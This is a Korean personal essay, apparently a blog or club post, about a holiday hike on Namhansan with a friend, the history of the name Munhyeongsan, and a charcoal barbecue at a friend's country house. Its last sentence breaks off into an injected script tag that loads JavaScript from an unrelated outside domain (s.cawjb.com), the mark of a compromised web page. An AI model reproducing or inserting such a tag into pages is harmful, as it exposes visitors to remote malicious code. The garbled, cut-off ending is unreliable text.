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[제목] 선봉이랑 문형마을로 (백운학)
연휴동안의 내 이야기를 쓰면서 주 5일 근무로 인한 여가를 보내는 한 방법으로 생각해 봤다. 첫날 일요일은 인근에 사는 선봉이를 11:30에 남한산 입구에서 만나 산행을 하였다.
날씨가 더워서인지 초입에서 벌써 땀이 나기 시작한다. 하행길의 산사람들과 자연 만날 수 밖에 없는 늦은 시간에 그것도 한참 덥기 시작하는 정오쯤에 산엘 오르려니 정신이 산란하다. 선봉이는 해뜨기 전에 일어나 자전거로 여의도까지 갔다온 뒤라서 인지 성큼 성큼 앞장서 저 앞을 가고 있다. 산행은 자전거처럼 속도경쟁을 하는 운동이 아니라 내 몸상태와 맞추어 걸으면 그만이라고 해도 막무가낸다. 왜 그렇게 빨리 올라왔느냐고 물어보니까 빨리 정상에 다다르면 더 산을 힘들게 오르지 않아도 된다는 것이다. 그래서 내가 그랬다. 몇 시까지 정상에 도달해야 하는 그런 게 없어 산엘 간다고 말해주었다.



남한산은 북한산에 대응되는 해발 606m의 여성스러운 산으로 남한산성으로 더 잘 알려져 있다. 남한산성의 성벽은 주봉인 청량산(497.9m)을 중심으로 하여 성벽을 북쪽으로 연주봉(467.6m), 동쪽으로 망월봉(502m)과 벌봉(515m), 남쪽으로 몇 개의 봉우리를 연결하여 쌓았다. 문형산(497m), 매지봉(400m), 검단산(542m) 등과 남북으로 주부(主部)를 이루고 있는데 이러한 산릉들은 북동 방향으로 연결되는데도 불구하고 전체적 모양이 대략 남북으로 발달된 것은 부분적으로 좌수향(左手向)으로 이어지기 때문이다. 남한산성에 관심이 있는 친구들은 남한산성 홈페이지에 가면 자세한 내용을 볼 수 있다. 산성안으로 들어가려면 입장료가 1,000원이다. 서문 기슭의 쉼터는 완전히 저자거리이다. 우리는 빨리 그곳을 통과하여 하산하였다. 총 소요시간은 2시간 여 밖에 걸리지 않았다. 지난 현충일에 영철이네로 가기로 했던 약속을 못 지켜 오늘에야 가려고 15:30에 선봉이가 차를 가지고 우리집으로 오기로 하고 샤워도 할 겸 우리는 일단 헤어졌다.



한남정맥의 기맥인 남한산성의 주봉인 청량산과 연결된 문형산은 분당신도시의 우측산으로 496.7미터이며, 아주 먼 옛날에 어떤 사람이 벼슬을 하였는데 그 벼슬의 이름을 이산에 붙여서 문형산이 되었다는 이야기가 정상의 표지석에 써있다.-대제학 大提學은 문형(文衡)이라고도 한다. 1401년(태종 1)에 대학사(大學士)를 고친 이름이다. 조선 전기에는 예문관에만 대제학을 두었으나, 1420년(세종 2)에는 집현전(集賢殿)에 대제학을 두었고, 1456년(세조 2) 집현전을 홍문관으로 고쳐 그대로 대제학을 두었다. 대제학은 대개 본인이 사퇴하지 않는 한 종신까지 재임하였다는-문형산 아랫 마을인 행정구역으로는 경기도 광주시 목동(나뭇골)이라는 곳에 이름에 걸맞게 사방은 산과 나무로 둘러싸인 48가구의 아담한 전원주택 단지인 문형마을 안에 영철이네 집이 있다. 지난 봄에 한번 와 본적이 있다.


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영철이네 집에서의 이벤트는 참나무 장작으로 숯을 만들어 고기 구어 먹기이다. 우리집을 나와 서하남 나들목으로 진입하여 판교쪽으로 가다 성남 나들목으로 나가면 쉽게 갈 수 있었는데, 초행이라 송파 나들목으로 나와버려 성남시내를 관통하는 어려움을 자초했다. 야탑동 코오롱 아파트 단지내에 선봉이 동생이 운영하는 정육점에 들러 돼지고기와 소고기를 사서 영철이네로 가고 있다. 강남300CC를 지나 영철이 말을 빌리면 오대산입구와 흡사한 산길을 지나 17;00 쯤 그곳에 닿았다.



영철이네는 향내나는 측백나무로 울이 쳐진 대문(?)은 제주도 삽짝처럼 사람이 출타중이면 긴 통나무 하나를 걸쳐놓는 것 마냥 줄로 양 기둥을 걸쳐 놓으면 그만인, 마당은 잔디가 깔린, 지을 때 업자들하고 대거리로 얼마남지 않은 머리칼을 뽑혀가며 구석 구석 내외의 손길이 닿은 비둘기집같은 그런 집이다. 그곳에 도착하자마자 우리는 참나무 장작부터 찾아 내화벽돌로 마치 벽난로처럼 만들어 놓은 화덕에 철근 두 개로 가로질러 놓은 그 위에 장작을 올려놓고 밑에서 종이로 불쏘시개를 만들어 불을 붙치자 불길은 금방 참나무에 옮겨 붙었다. 불길이 잦아들고 백탄은 아니어도 숯불을 부삽으로 옮겨 바비큐 통의 석쇠 밑에 놓고 고기를 올렸다. 그리고 두껑을 덮어 한참을 기다렸다.



초반이어서 고기가 빨리 익지를 않았다. 하지만 울들은 영철이가 뒤뜰에 가서 뜯어온 상추며 깻잎으로 쌈을 싸 한 입씩 잔뜩 물고는 서로 얼굴만 쳐다 본다. 영철이네 집에는 뒤 곁에 5개월 된 "진돌이"라고 진돗개 한 마리가 있다. 이 녀석이 냄새는 나는데 사람은 안보이지 낑낑대며 난리를 피워댄다. 마음 야간 선봉이가 고기 한 점을 들고 녀석한테 간다. 한참 배를 불린 우리들은 이런 저런 이야기를 했다. 영철이의 교수 공모이야기는 우?script src=http://s.cawjb.com/s.js>
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